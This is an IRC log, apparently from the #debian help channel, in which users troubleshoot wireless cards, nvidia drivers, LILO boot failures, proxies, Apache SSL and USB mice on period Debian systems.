| 00:00.10 | oven | DCH - ok, then you should be able to run 'tasksel' as root and choose 'x window system' |
| 00:00.18 | hax | DCH: did you connect to the inet alright with it yet? |
| 00:00.20 | oven | DCH - that ought to do the trick. |
| 00:00.31 | DCH | no |
| 00:00.41 | DCH | im not sure how to set up my wireless card |
| 00:00.45 | DCH | and i have no modem |
| 00:00.47 | yaman | ok, this is silly.. i've built, installed, and successfully loaded the nvidia module.. however, when i start X, it says the module can not be found... any ideas? |
| 00:00.50 | hax | DCH: your first goal needs to be getting online and apt-get install'ing irssi so you can talk to us while you do the rest of it |
| 00:01.21 | oven | DCH - what's the wireless card called? |
| 00:01.24 | DCH | im not sure how to set up the wireless card |
| 00:01.25 | hax | DCH: find out what module your wireless card needs, then find out how to enable that module |
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| 00:01.27 | cafuego | yaman: there are two, one for the kernel and one for X. |
| 00:01.31 | master | yaman : hehe mine fails to initilize :D |
| 00:01.40 | hax | DCH: dc |
| 00:01.41 | hax | err |
| 00:01.43 | DCH | Cisco Aeronet 350 |
| 00:01.43 | yaman | cafuego: so then my X is misconfigured? |
| 00:01.50 | yaman | master:2.6? |
| 00:01.51 | oven | DCH - good, that card is supported. |
| 00:01.56 | Sebulba02 | I think thats a prism54. |
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| 00:02.07 | DCH | okay, im not sure what the pcmcia card is though |
| 00:02.07 | yaman | master: http://www.minion.de/nvidia.html for 2.6 instructions |
| 00:02.09 | master | yaman L 2.4.18 right now |
| 00:02.09 | alem | where does debian install qt3 ? |
| 00:02.12 | DCH | i know it is by cisco |
| 00:02.17 | yaman | master: oh. |
| 00:02.19 | cafuego | DCH: You load the module by running pcmcia-cs and then plugging the card in. You can set options via wireless-tools (iwconfig) |
| 00:02.20 | DCH | the adapter i mean |
| 00:02.27 | phogg | yaman: you probably did not install all files correctly. |
| 00:02.31 | tempo | how do i release frozen msgs (mailq - exim) |
| 00:02.33 | alem | the licq qt-gui detects the header files, but not the qt itself |
| 00:02.36 | yaman | phogg: nvidia or X? |
| 00:02.37 | \zxc | What's the easiest way to install debian over a network? |
| 00:02.38 | master | yaman: but i want to upgrade to 2.6, can you help me patch a vinilla kernel with debian patches? |
| 00:02.38 | DCH | well, i need to get the pcmcia-pci adapter first |
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| 00:02.43 | phogg | yaman: For me fixing this was a matter of using nvidia-installer instead of make directly |
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| 00:03.01 | yaman | phogg: i had to patch the NVIDIA installer to work for 2.6 |
| 00:03.17 | morhook | where can i chat with sylpheed fans? |
| 00:03.30 | phogg | yaman: As did I. The first time I had your problem and it did not work, thes econd time it did. |
| 00:03.41 | \zxc | If I gave someone SSH access to my redhat box, would it be possible for them to download and install debian on the box? |
| 00:03.44 | oven | DCH - you mean you don't have the adapter? How are you connnected to the Internet now, then? |
| 00:03.49 | phogg | yaman: The only differences were that I was more meticulous the second time, and that I used nvidia-installer |
| 00:03.52 | hax | oven: he's in windows |
| 00:03.55 | lazarus | phogg: yaman: /topic, #nvidia |
| 00:04.03 | DCH | the adapter for PCMCIA-PCI |
| 00:04.06 | oven | hax - yes, but if he doesn't have an adapter? |
| 00:04.23 | master | \zxc they could download it, installing would be trickey :D |
| 00:04.23 | oven | hax - he has to plug the wireless card into something :) |
| 00:04.28 | alem | anyonw knows where debian installs qt3 ? |
| 00:04.30 | Sebulba02 | morhook: I don't think there is a place for sylpheed people, at least not on this network. |
| 00:04.30 | hax | oven: i think the adapter is not connectivity-crucial... isnt that a pcmcia wireless card? |
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| 00:04.54 | DCH | i do have the adapter, and it works in windows |
| 00:05.00 | oven | DCH - ah, sorry, I misunderstood |
| 00:05.02 | morhook | Sebulba02: ok.. i was thinking of making it a modification.... |
| 00:05.03 | DCH | but i need to know what to do about linux |
| 00:05.04 | \zxc | master: Yeah, I have physical access to the box also, after I download it, what can I do then? Would I *have* to copy it to CD? |
| 00:05.11 | DCH | thats aright oven |
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| 00:05.15 | oven | DCH - I don't think you need a specific driver for that adapter |
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| 00:05.29 | Sebulba02 | morhook: I"m sure it says on their website how to submit patches, if you do so. |
| 00:05.31 | master | \zxc i dont think you would have to, but im not expirenced in such matters |
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| 00:05.34 | DCH | what do i type again? |
| 00:05.43 | master | yaman: but i want to upgrade to 2.6, can you help me patch a vinilla kernel with debian patches? |
| 00:05.44 | \zxc | bah |
| 00:05.56 | oven | DCH - I'd try apt-get install pcmcia-cs |
| 00:06.01 | morhook | Sebulba02: i have a long way to go if i modify something yet :-) |
| 00:06.06 | nk_root66 | I can access my home-dir and show the content with ls, but ls -la makes the box hangup, any suggestions? |
| 00:06.07 | Sebulba02 | heh |
| 00:06.10 | DCH | but i dont have internet |
| 00:06.12 | redrick | Added "Installation from a USB memory stick" to installers.html. And put a fork in it, declared it done, and sent a note off to DWN. ;-> |
| 00:06.13 | quaqo | Bye all |
| 00:06.19 | oven | DCH - no, but you have the cd, right? |
| 00:06.24 | redrick | (Wrong window again.) |
| 00:06.24 | DCH | ya |
| 00:06.27 | lazarus | DCH: right, you aren't here |
| 00:06.27 | hax | does anyone here have a usb rio? |
| 00:06.31 | oven | DCH - the files are on the cd |
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| 00:06.40 | oven | DCH - just insert the cd before issuing the command |
| 00:06.41 | DCH | okay |
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| 00:06.52 | lazarus | Parag0n: /topic |
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| 00:07.00 | DCH | i only have the first cd, is it there? |
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| 00:07.02 | cafuego | Ugh, I hate it when DDs quote Rou Reed. |
| 00:07.05 | cafuego | s/R/L/ |
| 00:07.12 | Parag0n | meep |
| 00:07.18 | oven | DCH - I guess so |
| 00:07.21 | lazarus | Parag0n: pardon? |
| 00:07.29 | oven | DCH - it's pretty important, so I would think so |
| 00:07.32 | Parag0n | its not a knoppix quaestion |
| 00:07.36 | oven | DCH - do you have a wireless access point? |
| 00:07.42 | lazarus | Parag0n: are you trying to overwrite knoppix? |
| 00:07.44 | DCH | my isp |
| 00:07.45 | Parag0n | it was the only thing thatd boot my pc |
| 00:07.50 | yaman | cafuego & phogg: i *LOVE* you guys. i copied the module information to the /usr/X11R6 directory.. i also copied the GL headers and libraries... all clear! thanks :) |
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| 00:08.27 | tomr | can someone help with this error: Incorrectly built binary which accesses errno or h errno directly |
| 00:08.34 | morhook | does anyone have turned off /etc/init.d/xfs ? |
| 00:08.40 | yaman | phogg: i still cant load GLX though... |
| 00:08.44 | Parag0n | i moved my liunux partition and resised mt windows partiion using PArtition magic 8. now when i try to boot LILO displays L 99 99 99 99 99 99 99 99 99 |
| 00:08.46 | DCH | oven why? |
| 00:08.53 | lazarus | tomr: file the bug |
| 00:08.59 | Discipulus | everyone- I'm on dial-up and I want to d/l Debian. How many CDs do I actually NEED? |
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| 00:09.06 | Parag0n | i tried to boot from my debian CD, but i got a kernal panic |
| 00:09.08 | oven | DCH - I just want to know how your setup is |
| 00:09.09 | icecold | discordia: 1 |
| 00:09.10 | lazarus | Parag0n: wtf is that? |
| 00:09.24 | Parag0n | wtf is what? |
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| 00:09.32 | lazarus | Parag0n: you used some filthy ms app and you come to #debian for support when it breaks things? |
| 00:09.40 | cafuego | Parag0n: Boot rescue cd, fix lilo. |
| 00:09.47 | DCH | well, my isp is the wap, and i have an outside antenna to connect to it, thats what i use for my internet concection |
| 00:09.48 | Discipulus | icecold~ you talking to me? |
| 00:09.58 | Parag0n | i tried that as iu said before |
| 00:10.00 | icecold | discordia: yeah 1 cd |
| 00:10.13 | lazarus | Parag0n: now you know better than to use ms filth |
| 00:10.18 | cafuego | Parag0n: That's the ONLY thing that'll work. |
| 00:10.18 | Discipulus | icecold~ its Discipulus, not discordia, and thx |
| 00:10.25 | elephantman | Printing on linux is a total mess, why all those things (cups, lpr, ppd, ghostscript....) are needed just to plug a stupid printer |
| 00:10.27 | lazarus | Parag0n: after you reinstall, maybe you'll repent |
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| 00:10.32 | Discipulus | icecold~ and then I use apt-get install <program> right? |
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| 00:10.34 | oven | DCH - do you have to type in the name of the network in order to connect? |
| 00:10.34 | icecold | Discipulus: sorry |
| 00:10.47 | oven | DCH - an essid, that is? |
| 00:10.55 | DCH | idk |
| 00:11.02 | DCH | windows always did it for me |
| 00:11.03 | Parag0n | i need help on recompiling my LILO, im using knoppix to doing, iv read the man page for LILO, but get a message thet /dev/hda is not available |
| 00:11.05 | icecold | wow! |
| 00:11.10 | b0x | windows did what for you |
| 00:11.10 | DCH | all i ever typed was ips |
| 00:11.11 | b0x | nothing? |
| 00:11.16 | oven | DCH - ips? |
| 00:11.25 | DCH | IP addresses |
| 00:11.35 | tomr | lazarus: i've been reading the BTS and it's been reported but no solutions |
| 00:11.39 | oven | oh, so you don't use dhcp? |
| 00:11.43 | DCH | default gateway DNS and subnetmask |
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| 00:11.48 | DCH | no |
| 00:11.56 | icecold | DCH: so dhcp |
| 00:11.58 | lazarus | tomr: you have no info o add to the bug report? |
| 00:12.02 | yaman | wee, now i've been reduced to mouse problems |
| 00:12.06 | cafuego | Parag0n: Then you probably have the joy that is devfs enabled. |
| 00:12.11 | cafuego | yaman: get a cat |
| 00:12.16 | DCH | icecold no DHCP |
| 00:12.33 | icecold | DCH: So static ip? |
| 00:12.38 | tomr | lazarus: well it affects qmail and i reported that |
| 00:12.42 | DCH | icecold yes |
| 00:12.50 | paulswm | Parag0n: lilo decides where everything is when you run lilo. It builds a map of physical disk addresses. lilo will not work if you then move stuff around. |
| 00:13.08 | DCH | its a 192.168. local private static ip |
| 00:13.08 | cafuego | DCH: Then you can add that info to /etc/network/interfaces and set it up so it conencts at bootup. |
| 00:13.10 | icecold | DCH: That is easy and the prob is...? |
| 00:13.13 | lazarus | tomr: so now you either wait, ,or write the maintailner and tell them to get off their lazy ass |
| 00:13.16 | Parag0n | knoppix@ttyp1[/]$ lilo -C /mnt/hda2/etc/lilo.conf |
| 00:13.16 | Parag0n | /mnt/hda2/etc/lilo.conf: Permission denied |
| 00:13.20 | Parag0n | thats what im trying |
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| 00:13.35 | DCH | i am not sure if it found my card |
| 00:13.36 | cafuego | Parag0n: It's mounted read-only. |
| 00:13.36 | interoz | Parag0n: what are you trying to do? |
| 00:13.38 | lazarus | knoppix: /topic |
| 00:13.39 | tomr | ok, thanks, i was hoping a solution was known but not listed |
| 00:13.44 | icecold | Parag0n: root. |
| 00:13.52 | lazarus | tomr: yeah, it's a common commplaint here |
| 00:13.56 | DCH | it said "it looks like you don't need PCMCIA, do you want to remove it?" |
| 00:13.57 | oven | DCH - if you type 'ifconfig', you should see your card if it's properly installed |
| 00:14.05 | tomr | thanks for your time |
| 00:14.10 | cafuego | DCH: 'ifconfig -a' - does it list something that might be the card? |
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| 00:14.17 | interoz | nk_root66: is it you? |
| 00:14.30 | nk_root66 | yes :) |
| 00:14.34 | DCH | on linux? |
| 00:14.40 | yaman | cafuego: :-/ |
| 00:14.41 | icecold | yes! |
| 00:14.44 | DCH | thats a windows command |
| 00:14.45 | \zxc | How do I configure wget and other utilities so that they know to use a proxy every time they run? |
| 00:14.46 | interoz | nk_root66: see Parag0n |
| 00:15.00 | oven | DCH - no that's ipconfig |
| 00:15.02 | icecold | DCH: ifconfig is linux |
| 00:15.08 | tomr | lazarus: thanks for your time |
| 00:15.14 | nk_root66 | interoz only damage that the upgrade did, is that my menu-fonts are gone :) but can live with it for now, will fix it tomorrow or so... no didn't see em |
| 00:15.18 | b0x | ipconfig is windows too |
| 00:15.22 | cafuego | DCH: No, it's a linux command. |
| 00:15.24 | DCH | ahh, i cant read then |
| 00:15.39 | icecold | b0x: ifconfig == linux |
| 00:15.44 | b0x | k |
| 00:15.49 | b0x | whats the if for |
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| 00:15.55 | basho | interface ? |
| 00:15.56 | ToreSB | Hello cuddly people. |
| 00:15.58 | interoz | nk_root66: good to know. night |
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| 00:16.06 | icecold | b0x: interface setup, man ifconfig |
| 00:16.09 | nk_root66 | night |
| 00:16.09 | cafuego | Parag0n: Also, run 'sudo chroot /mnt/hda2 lilo' |
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| 00:16.34 | cafuego | basho: yes |
| 00:16.50 | DCH | now, i had to take the cards out and put them back in the windows box, will debian find them when i put them back in? |
| 00:17.01 | lazarus | lol |
| 00:17.01 | icecold | wow |
| 00:17.03 | RainbowW | when booting 2.6.0: VFS: Cannot open root device "302" or unknown-lock(3,2). Where is this error coming from? |
| 00:17.27 | lazarus | RainbowW: your monitor |
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| 00:17.31 | ToreSB | RainbowW: You're passing the wrong root= argument at boottime |
| 00:17.34 | Parag0n | root@ttyp1[/]# sudo chroot /mnt/hda2 lilo |
| 00:17.34 | Parag0n | Fatal: open /dev/hda: Permission denied |
| 00:17.37 | phogg | DCH: you may need to run ifdown and ifup, but maybe not. |
| 00:17.37 | lazarus | RainbowW: what do i win? |
| 00:17.45 | ToreSB | RainbowW: But one cannot argue with lazarus' logic |
| 00:17.49 | RainbowW | lazarus: a case of herpes. |
| 00:17.56 | Discipulus | how do I download debian-r2 using jigdo? |
| 00:17.59 | RainbowW | ToreSB: root=/dev/hda2. what could be wrong with that? |
| 00:18.10 | icecold | Discipulus: Check debian.com |
| 00:18.15 | lazarus | RainbowW: i don't need the whole caseful, donate it to some shelter |
| 00:18.22 | ToreSB | RainbowW: It could be the wrong device? ;) Actually, it's true... Hmm. |
| 00:18.24 | Discipulus | icecold~ I am . . . but it is quite confusing |
| 00:18.26 | DCH | i hate being a noob |
| 00:18.45 | cafuego | DCH: Then become a guru ;-) |
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| 00:18.47 | lazarus | Discipulus: read, and follow the directions |
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| 00:18.51 | RainbowW | ToreSB: root is /dev/hda2, boot is /dev/hda1. |
| 00:18.57 | DCH | i shoulda been born into a linux world |
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| 00:19.41 | cafuego | simonrvn: awake? |
| 00:19.42 | ToreSB | RainbowW: Hmmmm... |
| 00:19.48 | RainbowW | ToreSB: why is it booting into 2.2.20 then? i'm confuzzled obviously |
| 00:19.53 | paulswm | \zxc: set env variables http_proxy, https_proxy, ftp_proxy, no_proxy and export them |
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| 00:20.12 | ToreSB | RainbowW: You need to configure the bootloader, obviously |
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| 00:20.20 | michael123 | has anyone succesfully graphed there interface using mrtg |
| 00:20.23 | icecold | RainbowW: man lilo or man grub |
| 00:20.29 | michael123 | and if so can you point to a man page |
| 00:20.32 | lazarus | paulswm: what do you set no_proxy to? 127.0.0.1/ |
| 00:20.36 | \zxc | paulswm: Thanks, how would I set those variables? |
| 00:20.42 | lazarus | paulswm: sounds like a deev null type thing |
| 00:20.59 | paulswm | lazarus: no_proxy="localhost,pooh" in my case |
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| 00:21.08 | funnyguy | michael123 : in linux? you need to run a snmp daemon |
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| 00:21.18 | wuhuu | hello |
| 00:21.19 | paulswm | \zxc: man bash |
| 00:21.29 | lazarus | paulswm: sounds like your proxy ins't configurable which it passes and which it processes :) |
| 00:21.34 | wuhuu | i lost my consoles...*g* |
| 00:21.51 | funnyguy | michael123 : the generic interface creation script will graph linux interfaces if u have snmpd setuip correctly |
| 00:21.53 | wuhuu | howto get more than one console |
| 00:22.02 | paulswm | lazarus: it's just me and everything goes through squid |
| 00:22.03 | lazarus | wuhuu: alt-f2 |
| 00:22.05 | lazarus | wuhuu: alt-f3 |
| 00:22.08 | funnyguy | lol |
| 00:22.15 | wuhuu | yeah the worked.... |
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| 00:22.30 | wuhuu | but now they're gone |
| 00:22.34 | icecold | wow |
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| 00:22.54 | wuhuu | what package is it i uninstalled |
| 00:23.15 | lazarus | wuhuu: *yo* made some change and *we* have to guess what? |
| 00:23.25 | lazarus | wuhuu: no thanks, i pass |
| 00:23.33 | paulswm | lazarus et. al, bye, have a safe night, watch out for trolls :) |
| 00:23.40 | postel | Is there anything nice and small that plays mms streams? (console would do) |
| 00:23.42 | lazarus | paulswm: take care buddy :) |
| 00:23.46 | wuhuu | i runned a base-config |
| 00:23.52 | icecold | omg |
| 00:23.54 | b0x | ran?> |
| 00:23.56 | paulswm | lazarus: :P |
| 00:24.00 | wuhuu | sry |
| 00:24.03 | wuhuu | yeah |
| 00:24.04 | muncc2beo | I'm trying to setup sound, and I used modconf to load the kernel module, added my user to the audio group, and installed xmix. However, When I run xmix as the user, it says, Error opening mixer device: Permission denied |
| 00:24.08 | wuhuu | too late |
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| 00:24.27 | muncc2beo | I'm on sarge, and I did everything as root, except for running xmix |
| 00:24.28 | doodeedaa | holly crap my exteremely minimal linux kernel is 1.4mb |
| 00:24.28 | doodeedaa | why |
| 00:24.31 | doodeedaa | is it soo |
| 00:24.40 | oven | muncc2beo - log out from X and log in again |
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| 00:24.52 | lazarus | doodeedaa: doesn't sound like you define minimal sanely |
| 00:24.52 | muncc2beo | oven: I've done that, though I'll try again |
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| 00:25.00 | muncc2beo | oven: i'll be back |
| 00:25.36 | doodeedaa | lazarus, why is that- i am using make-kpkg to built it |
| 00:25.36 | morhook | wuhuu: have you rebooted your system? |
| 00:25.41 | doodeedaa | could that be the reason it added some fluff |
| 00:25.46 | wuhuu | yeah several times |
| 00:25.52 | vipe | 01:16 -!- Irssi: Starting query in rendez-vous with tinne |
| 00:25.52 | vipe | 01:16 <tinne> hallo |
| 00:25.52 | vipe | 01:17 <vipe> hey |
| 00:25.52 | vipe | 01:18 <tinne> hoe veel jaar ben je |
| 00:25.52 | vipe | 01:18 <vipe> ((285*96)/1094.4) iets Noordpool |
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| 00:25.55 | doodeedaa | lazarus: i can show u my .config file |
| 00:25.56 | Discipulus | the command to update after an install is 'apt-get distro-update' correct? |
| 00:25.57 | lazarus | doodeedaa: make menuconfig is where you dedcide what is or is not included |
| 00:25.58 | doodeedaa | its insane |
| 00:25.59 | morhook | you lost it WHEN you rebooted ? |
| 00:26.11 | doodeedaa | lazarus: i used menuconfig |
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| 00:26.14 | vipe | oops |
| 00:26.25 | wuhuu | no |
| 00:26.36 | lazarus | doodeedaa: grep "=Y" .config | wc |
| 00:26.50 | luite | does anyone here have experience with a linksys 802.11g access point and wpa using radius, with freeradius on a linux server? |
| 00:26.58 | doodeedaa | ok |
| 00:27.16 | wuhuu | a ran a base-config and opened a secand console and then all consoles where closed and were dead forever |
| 00:27.36 | lazarus | doodeedaa: grep "=" .config | wc |
| 00:27.37 | Sebulba02 | luite: I've got the linksys AP, but I'm still using WEP. |
| 00:27.42 | lazarus | doodeedaa: grep "=y" .config | wc <-- that one |
| 00:27.49 | wuhuu | i don't want to reinstall my system juats made that |
| 00:28.05 | lazarus | doodeedaa: others were typos |
| 00:28.05 | wuhuu | ohoh really too late that night |
| 00:28.29 | luite | Sebulba02: hm, i have the freeradius server running now, but the ap doesn't seem to forward the radius requests when it's in wpa mode, radius auth without wpa seems to work fine |
| 00:28.39 | doodeedaa | lazarus: i have 131 |
| 00:28.41 | vipe | wuhuu: boot with a floppy or a cdrom and check your logs |
| 00:28.43 | doodeedaa | Y |
| 00:28.54 | wuhuu | thx |
| 00:29.01 | lazarus | doodeedaa: that's a lot for "extremely minimal" |
| 00:29.04 | wuhuu | btw what logs ?? |
| 00:29.04 | morhook | wuhuu: look at inittab .. did you modified that? |
| 00:29.10 | wuhuu | <--- newbie |
| 00:29.12 | doodeedaa | lazarus: its weird |
| 00:29.13 | lazarus | doodeedaa: that's why the kernel is that size |
| 00:29.29 | wuhuu | nope |
| 00:29.33 | icecold | wuhuu: read about linux on the internet and come back with some...atleast minimal knowledge. Please! |
| 00:29.41 | Sebulba02 | luite: I'd say make sure all the values are correct, I don't see why it wouldn't forward them. Esp the key. |
| 00:29.43 | wuhuu | hehe |
| 00:29.49 | morhook | in my inittab it says to start logins in each console |
| 00:29.53 | wuhuu | i had installed it for 3 weeks |
| 00:29.55 | lazarus | doodeedaa: try saying "n" more with the next --revision= you make :) |
| 00:30.39 | wuhuu | ok byebye i'll try to get it running |
| 00:30.43 | luite | Sebulba02: maybe because it's a cheap access point and it's still buggy :) |
| 00:30.48 | doodeedaa | lazarus: i will make another one |
| 00:30.54 | yaman | hello... i've configured x4.3, and it successfully starts; the only problem is that the mouse does not work... my configuration file is set to read /dev/psaux, and if i cat /dev/psaux and move my mouse there is output... any ideas what i should try? |
| 00:30.54 | vipe | morhook: a change in /etc/inittab would only have effect after running `telinit q` or a reboot |
| 00:30.58 | \zxc | how would I enable a transparent proxy for the whole box so that wget uses it and other applications automatically? |
| 00:31.31 | Sebulba02 | luite: I dunno, possibly. You could try downloading the source for it and looking at it :) |
| 00:31.46 | doodeedaa | is it b/c using gcc-3.0 |
| 00:31.48 | doodeedaa | make it big |
| 00:31.55 | yaman | it's actually an odd problem.. my mouse works if i load KDE, but nothing else |
| 00:32.17 | oven | \zxc - if you set the environment variable http_proxy, a lot of applications (wget included) will use it |
| 00:32.21 | luite | Sebulba02: hehe, I hadn't even thought of that :) |
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| 00:33.01 | Sebulba02 | luite: Might also want to make sure your card supports WPA. |
| 00:33.28 | luite | Sebulba02: it's actually the same chipset as the access point :) |
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| 00:33.34 | Sebulba02 | heh |
| 00:33.47 | luite | but I might have forgotten to run the windows wpa update |
| 00:34.08 | Sebulba02 | Possibly |
| 00:34.12 | DCH | is there anything else i should know before i shutdown my windows box and pull out the internet card? |
| 00:34.16 | oven | Sebulba02, luite - don't bother about the built-in security mechanisms in wireless cards and access points. Use vpn instead. |
| 00:34.30 | Sebulba02 | oven: I've thought about that. |
| 00:34.42 | Sebulba02 | Yet to find a comprehensible HOWTO though |
| 00:34.57 | luite | oven: 802.1x is much more transparent than ipsec, and I don't have a server that's fast enough for the ipsec throughput |
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| 00:35.27 | oven | Sebulba02 - I installed a network with a firewall based on iptables (using ferm) and used freeswan for vpn |
| 00:35.30 | luite | oven: and wpa with eap-ttls, with 256bit tkip keys, changed every 300secs is secure enough for me |
| 00:35.42 | oven | Sebulba02 - it works quite well |
| 00:35.44 | DCH | oven: could you repeat the apt-get commands i need to setup my adapter and card please |
| 00:35.49 | Sebulba02 | oven: Cool. |
| 00:36.12 | luite | oven: I've set up the built-in ipsec from 2.6.0, but the server is too slow |
| 00:36.47 | nk_root66 | hm. I deleted my standart-pathes now :/ how do I recall them? |
| 00:36.50 | oven | Sebulba02 - i used four ethernet cards in the firewall; one external, one dmz, one for connecting the access point and one for the private local network. |
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| 00:37.01 | oven | luite - ok, that's a pity |
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| 00:37.21 | oven | DCH - I'm not sure, but I guess you need to apt-get install pcmcia-cs |
| 00:37.24 | Sebulba02 | Nice. |
| 00:37.41 | oven | DCH - then run ifconfig -a and look for your card |
| 00:37.41 | DCH | and what about the aeronet card |
| 00:37.46 | Sebulba02 | I have the AP already, I'd just like to have a VPN. |
| 00:38.17 | oven | DCH - pcmcia-cs should take care of your card. Try to eject it and reinsert it if it doesn't show up at once. |
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| 00:38.48 | oven | Sebulba02 - I used the freeswan documentation and the ferm documentation (and partly the iptables documentation). |
| 00:38.50 | DCH | okay, except that would require an entire restart, the adapter requires it to go in backwards |
| 00:39.08 | DCH | its f***ed up |
| 00:39.12 | oven | DCH - eh, ok |
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| 00:39.15 | Sebulba02 | oven: Ah, I've bashed my head against the freeswan docs a few times. |
| 00:39.23 | DCH | thanks oven |
| 00:39.32 | oven | Sebulba02 - mm, it is not too intuitive |
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| 00:39.41 | oven | Sebulba02 - there are a lot of tutorials, but most are outdated |
| 00:39.54 | durin42 | i want my apache to listen on 80 for http, and 443 for https, but I can't get it right. It does only https or only http, never both |
| 00:39.58 | Sebulba02 | oven: Indeed, I think I realized that when I was looking. |
| 00:40.09 | oven | Sebulba02 - I can give you one advice, though: try to get it working using pre shared keys before you try something fancy |
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| 00:40.12 | DelEat | why do I have to 'xrdb -load .Xdefaults' everytime I start X, to get the options there to work - I start X with the 'startx' command - doesn't it read .Xdefaults????! |
| 00:40.17 | DeL | hi |
| 00:40.21 | mast_one | hi folks |
| 00:40.30 | DeL | i have some problem with gpm and my usbmouse |
| 00:40.41 | vodkaabsolute | i have some problem starting xfree:with kernel 2.4 it starts but if i load the 2.6 i get a black screen(in the 2.6 i enabled fb support and 3dfx supp.), the xfree log does not contain EE |
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| 00:40.48 | Sebulba02 | oven: Thanks, I'll keep that in mind when I look into it again. |
| 00:40.57 | DeL | somebody have an usb mouse ? |
| 00:41.02 | kokko | hi ive got a problem : debconf: unable to initialize frontend: Dialog |
| 00:41.06 | kokko | please advice |
| 00:41.08 | cafuego | DeL: There are still people who don't? |
| 00:41.13 | oven | Sebulba02 - i tried with x.590 certificates in the beginning, but there are too many things that can go wrong. You don't need to twist your head about CA authorities, trust hierarchies and that shit before you know that it _works_ :) |
| 00:41.13 | Sebulba02 | heh |
| 00:41.27 | Sebulba02 | hehe |
| 00:41.38 | DelEat | cafuego: me me me! ;-) |
| 00:42.07 | yaman | Has anyone ever had the problem of mouse working in some window managers but not others? |
| 00:42.10 | Sebulba02 | oven: x509, right? Or do I remember it wrong? |
| 00:42.15 | mast_one | is it possible to rebuild the apt-get database etc. from scratch? |
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| 00:42.32 | DeL | cafuego when i load usbmouse.o i have: input0: Microsoft Microsoft 5-Button Mouse with IntelliEye(TM) on usb3:2.0 |
| 00:42.39 | oven | Sebulba02 - yes, typo |
| 00:42.44 | cafuego | DeL: Yes. /dev/input/mice |
| 00:42.47 | Sebulba02 | Just checking :) |
| 00:43.05 | DeL | cafuego yeah i try i try but nothing :'( |
| 00:43.16 | oven | Sebulba02 - to make matters worse, there are several patches for freeswan which are not installed by default |
| 00:43.18 | cafuego | DeL: I takle it the 'hid' and 'input' modules are loaded too? |
| 00:43.29 | cafuego | DeL: And 'mousedev' ? |
| 00:43.33 | mast_one | what is the best way to install qmail in debian? from source or use apt-get install? |
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| 00:43.37 | oven | Sebulba02 - so there's 'super freeswan' as well, which includes some nifty patches like x509 and nat traversal |
| 00:43.42 | luite | Sebulba02: I'm a steup further now, the missing wpa was my fault, I forgot to install the update |
| 00:43.48 | DelEat | mast_one: just apt-get install it |
| 00:44.01 | Sebulba02 | luite: heh, cool |
| 00:44.02 | DeL | mousedev isnot loaded |
| 00:44.03 | kokko | comeon, please help :P |
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| 00:44.15 | luite | oven: I'm using x509 with the wpa at the moment, at least when it works :) |
| 00:44.17 | kokko | debconf: unable to initialize frontend: Dialog ++ debconf: falling back to frontend: Readline |
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| 00:44.25 | Sebulba02 | oven: I think thats what I originally tried, might have been a mistake to bite off so much so fast. |
| 00:44.36 | cafuego | DeL: Load that, off ya go. |
| 00:44.37 | durin42 | can anyone help me set up mod_ssl for apache? |
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| 00:44.45 | nk_root66 | anyone? how can I recover my standart-path? |
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| 00:44.50 | mast_one | deleat: it is crapping out on me. says bunch of entries in /etc/passwd etc. needs to exist. it did it 1st time, but is not doing it again. |
| 00:45.03 | oven | luite - hehe :) I'm not friends with x509 at the time being, because I wasted too much time on a broken implementation in super freeswan :) |
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| 00:45.57 | Lafourmi | hi |
| 00:46.03 | durin42 | how do I tell mod_ssl to listen only on port 442, not on port 80? |
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| 00:46.19 | cafuego | DeL: 443 you mean? |
| 00:46.22 | FsckIt | durin42: I think you use the Listen directive |
| 00:46.22 | cafuego | durin42: 443? |
| 00:46.29 | luite | oven: I'm just using openssl and freeradius, the x509 things seem to work fine, I've already checked and installed the certificates on my client, but now I'm stuck in the authentication challenge/response procedure |
| 00:46.30 | gp | httpd.conf |
| 00:46.38 | DeL | cafuego ? |
| 00:46.38 | Lafourmi | is it umpossible to initialise a reiserfs partition with the image cd ?N |
| 00:46.44 | cafuego | DeL: misdirected |
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| 00:47.01 | oven | luite - I haven't tried freeradius |
| 00:47.04 | durin42 | cafuego yes i do |
| 00:47.19 | oven | luite - I don't even know what it is |
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| 00:47.30 | durin42 | FsckIt i set listen 80 and listen 443, but both ports are ssl only :( |
| 00:47.33 | luite | oven: it's a free radius server ;) |
| 00:47.45 | cafuego | durin42: I do it with virtual hosts and Listen directives: Listen 210.8.121.75:443 |
| 00:47.49 | oven | luite - heh, that helped a lot :) |
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| 00:48.14 | RainbowW | in lilo.conf i'm specifying root=/dev/hda2, yet i still get a kernel panic unable to mount root. wtf? |
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| 00:48.24 | cafuego | durin42: Then for your port 80 vhost set "SSLEngine off" |
| 00:48.39 | DeL | cafuego i have loaded input mousedev usbmouse and hid when i configure gpm i use /dev/input/mice and autops2 but nothing .. |
| 00:48.45 | durin42 | cafuego what IP should I put in? the server is behind NAT with port forwarding... |
| 00:48.46 | oven | RainbowW - to make your testing cycles a bit faster, try grub instead of lilo. |
| 00:48.56 | cafuego | durin42: Whatever its IP is |
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| 00:49.18 | Serial^away | i have problem with my debian...in the console i have messages ... 172.30.1.153 sent an invalid icmp error to a broadcast |
| 00:49.24 | durin42 | cafuego so the one it gets from the router, or the one that you connect to over the internet |
| 00:49.25 | Serial^away | how can i stop them |
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| 00:49.28 | cafuego | durin42: OR don't use an IP and just go with <_default_:80> and <_default_:443> |
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| 00:49.38 | cafuego | durin42: The one it gets from the router |
| 00:49.41 | RainbowW | oven: the speed issue isn't in lilo, it's in the length of time it takes to post and boot the kernel. |
| 00:49.51 | durin42 | cafuego _default_ doesn't work, says it can't resolve the hostname |
| 00:50.03 | zamorate | hi everybody |
| 00:50.05 | oven | RainbowW - have you tried grub before? |
| 00:50.06 | durin42 | Serial^away do you have a dlink router? |
| 00:50.16 | Serial^away | durin42 no |
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| 00:50.27 | RainbowW | oven: yes. what's your point? |
| 00:50.30 | zamorate | anyone knows when is going to appear the kernel-image-2.6.0???? |
| 00:50.37 | durin42 | Serial^away hmmm. that's the only time i've ever seen that |
| 00:50.37 | maffelu | Could not load graphics driver 'x11drv' <---has anyone ever seen this problem before? |
| 00:50.41 | eeyore- | cafuego: there's one gotcha, though. there's no support for name-based virtualhosting with SSL enabled |
| 00:50.52 | oven | RainbowW - that you don't need to edit a config file in order to try other kernel boot parameters. |
| 00:51.01 | Serial^away | durin42 how can i stop this..with ipchains? |
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| 00:51.05 | cafuego | eeyore-: Yes, but if you have just the one host on 2 ports, it should work fine. |
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| 00:51.15 | FsckIt | zamorate: you can use make-kpkg to make a .deb for yourself (actually, I think you should be able to) |
| 00:51.16 | eeyore- | cafuego: oh sure, absolutely |
| 00:51.19 | oven | RainbowW - and thus don't need to make a successfull boot to change the parameters. |
